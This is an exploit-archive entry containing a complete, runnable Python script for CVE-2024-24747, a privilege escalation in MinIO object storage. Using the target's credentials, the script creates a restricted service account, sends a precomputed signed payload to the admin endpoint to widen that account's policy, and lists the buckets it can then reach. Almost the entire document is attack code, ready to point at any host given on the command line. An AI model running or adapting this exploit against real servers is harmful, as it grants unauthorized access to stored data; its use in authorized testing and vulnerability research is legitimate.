MinIO < 2024-01-31T20-20-33Z - Privilege Escalation Exploit

# Exploit Title: MinIO < 2024-01-31T20-20-33Z -  Privilege Escalation
# Exploit Author: Jenson Zhao
# Vendor Homepage: https://min.io/
# Software Link: https://github.com/minio/minio/
# Version: Up to (excluding) RELEASE.2024-01-31T20-20-33Z
# Tested on: Windows 10
# CVE : CVE-2024-24747
# Required before execution: pip install minio,requests

import argparse
import datetime
import traceback
import urllib
from xml.dom.minidom import parseString
import requests
import json
import base64
from minio.credentials import Credentials
from minio.signer import sign_v4_s3

class CVE_2024_24747:
    new_buckets = []
    old_buckets = []
    def __init__(self, host, port, console_port, accesskey, secretkey, verify=False):
        self.bucket_names = ['pocpublic', 'pocprivate']
        self.new_accesskey = 'miniocvepoc'
        self.new_secretkey = 'MINIOcvePOC'
        self.headers = {
          'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
          'Content-Type': 'application/json',
          'Accept': '*/*'
        }
        self.accesskey = accesskey
        self.secretkey = secretkey
        self.verify = verify
        if verify:
            self.url = "https://" + host + ":" + port
            self.console_url = "https://" + host + ":" + console_port
        else:
            self.url = "http://" + host + ":" + port
            self.console_url = "http://" + host + ":" + console_port
        self.credits = Credentials(
            access_key=self.new_accesskey,
            secret_key=self.new_secretkey
        )
        self.login()
        try:
            self.create_buckets()
            self.create_accesskey()
            self.old_buckets = self.console_ls()
            self.console_exp()
            self.new_buckets = self.console_ls()

        except:
            traceback.print_stack()
        finally:
            self.delete_accesskey()
            self.delete_buckets()
            if len(self.new_buckets) > len(self.old_buckets):
                print("There is CVE-2024-24747 problem with the minio!")
                print("Before the exploit, the buckets are : " + str(self.old_buckets))
                print("After the exploit, the buckets are : " + str(self.new_buckets))
            else:
                print("There is no CVE-2024-24747 problem with the minio!")

    def login(self):
        url = self.url + "/api/v1/login"
        payload = json.dumps({
          "accessKey": self.accesskey,
          "secretKey": self.secretkey
        })
        self.session = requests.session()
        if self.verify:
            self.session.verify = False
        status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code
        # print(status_code)
        if status_code == 204:
            status_code = 0
        else:
            print('Login failed! Please check if the input accesskey and secretkey are correct!')
            exit(1)
    def create_buckets(self):
        url = self.url + "/api/v1/buckets"
        for name in self.bucket_names:
            payload = json.dumps({
                "name": name,
                "versioning": False,
                "locking": False
            })
            status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code
            # print(status_code)
            if status_code == 200:
                status_code = 0
            else:
                print("新建 (New)"+name+" bucket 失败 (fail)！")
    def delete_buckets(self):
        for name in self.bucket_names:
            url = self.url + "/api/v1/buckets/" + name
            status_code = self.session.request("DELETE", url, headers=self.headers).status_code
            # print(status_code)
            if status_code == 204:
                status_code = 0
            else:
                print("删除 (delete)"+name+" bucket 失败 (fail)！")
    def create_accesskey(self):
        url = self.url + "/api/v1/service-account-credentials"
        payload = json.dumps({
            "policy": "{              \n    \"Version\":\"2012-10-17\",              \n    \"Statement\":[              \n        {              \n            \"Effect\":\"Allow\",              \n            \"Action\":[              \n                \"s3:*\"              \n            ],              \n            \"Resource\":[              \n                \"arn:aws:s3:::pocpublic\",              \n                \"arn:aws:s3:::pocpublic/*\"              \n            ]              \n        }              \n    ]              \n}",
            "accessKey": self.new_accesskey,
            "secretKey": self.new_secretkey
        })
        status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code
        # print(status_code)
        if status_code == 201:
            # print("新建 (New)" + self.new_accesskey + " accessKey 成功 (success)！")
            # print(self.new_secretkey)
            status_code = 0
        else:
            print("新建 (New)" + self.new_accesskey + " accessKey 失败 (fail)！")
    def delete_accesskey(self):
        url = self.url + "/api/v1/service-accounts/" + base64.b64encode(self.new_accesskey.encode("utf-8")).decode('utf-8')
        status_code = self.session.request("DELETE", url, headers=self.headers).status_code
        # print(status_code)
        if status_code == 204:
            # print("删除" + self.new_accesskey + " accessKey成功！")
            status_code = 0
        else:
            print("删除 (delete)" + self.new_accesskey + " accessKey 失败 (fail)！")
    def headers_gen(self,url,sha256,method):
        datetimes = datetime.datetime.utcnow()
        datetime_str = datetimes.strftime('%Y%m%dT%H%M%SZ')
        urls = urllib.parse.urlparse(url)
        headers = {
            'X-Amz-Content-Sha256': sha256,
            'X-Amz-Date': datetime_str,
            'Host': urls.netloc,
        }
        headers = sign_v4_s3(
            method=method,
            url=urls,
            region='us-east-1',
            headers=headers,
            credentials=self.credits,
            content_sha256=sha256,
            date=datetimes,
        )
        return headers
    def console_ls(self):
        url = self.console_url + "/"
        sha256 = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
        headers = self.headers_gen(url,sha256,'GET')
        if self.verify:
            response = requests.get(url,headers=headers,verify=False)
        else:
            response = requests.get(url, headers=headers)
        DOMTree = parseString(response.text)
        collection = DOMTree.documentElement
        buckets = collection.getElementsByTagName("Bucket")
        bucket_names = []
        for bucket in buckets:
            bucket_names.append(bucket.getElementsByTagName("Name")[0].childNodes[0].data)
        # print('当前可查看的bucket有:\n' + str(bucket_names))
        return bucket_names

    def console_exp(self):
        url = self.console_url + "/minio/admin/v3/update-service-account?accessKey=" + self.new_accesskey
        sha256 = "0f87fd59dff29507f82e189d4f493206ea7f370d0ce97b9cc8c1b7a4e609ec95"
        headers = self.headers_gen(url, sha256, 'POST')
        hex_string = "e1fd1c29bed167d5cf4986d3f224db2994b4942291dbd443399f249b84c79d9f00b9e0c0c7eed623a8621dee64713a3c8c63e9966ab62fcd982336"
        content = bytes.fromhex(hex_string)
        if self.verify:
            response = requests.post(url,headers=headers,data=content,verify=False)
        else:
            response = requests.post(url,headers=headers,data=content)
        status_code = response.status_code
        if status_code == 204:
            # print("提升" + self.new_accesskey + " 权限成功！")
            status_code = 0
        else:
            print("提升 (promote)" + self.new_accesskey + " 权限失败 (Permission failed)！")

if __name__ == '__main__':
    logo = """ 
                           ____    ___   ____   _  _           ____   _  _    _____  _  _    _____ 
  ___ __   __  ___        |___ \  / _ \ |___ \ | || |         |___ \ | || |  |___  || || |  |___  |
 / __|\ \ / / / _ \ _____   __) || | | |  __) || || |_  _____   __) || || |_    / / | || |_    / / 
| (__  \ V / |  __/|_____| / __/ | |_| | / __/ |__   _||_____| / __/ |__   _|  / /  |__   _|  / /  
 \___|  \_/   \___|       |_____| \___/ |_____|   |_|         |_____|   |_|   /_/      |_|   /_/   
                            """
    print(logo)
    parser = argparse.ArgumentParser()
    parser.add_argument("-H", "--host", required=True, help="Host of the target. example: 127.0.0.1")
    parser.add_argument("-a", "--accesskey", required=True, help="Minio AccessKey of the target. example: minioadmin")
    parser.add_argument("-s", "--secretkey", required=True, help="Minio SecretKey of the target. example: minioadmin")
    parser.add_argument("-c", "--console_port", required=True, help="Minio console port of the target. example: 9000")
    parser.add_argument("-p", "--port", required=True, help="Minio port of the target. example: 9090")
    parser.add_argument("--https", action='store_true', help="Is MinIO accessed through HTTPS.")
    args = parser.parse_args()
    CVE_2024_24747(args.host,args.port,args.console_port,args.accesskey,args.secretkey,args.https)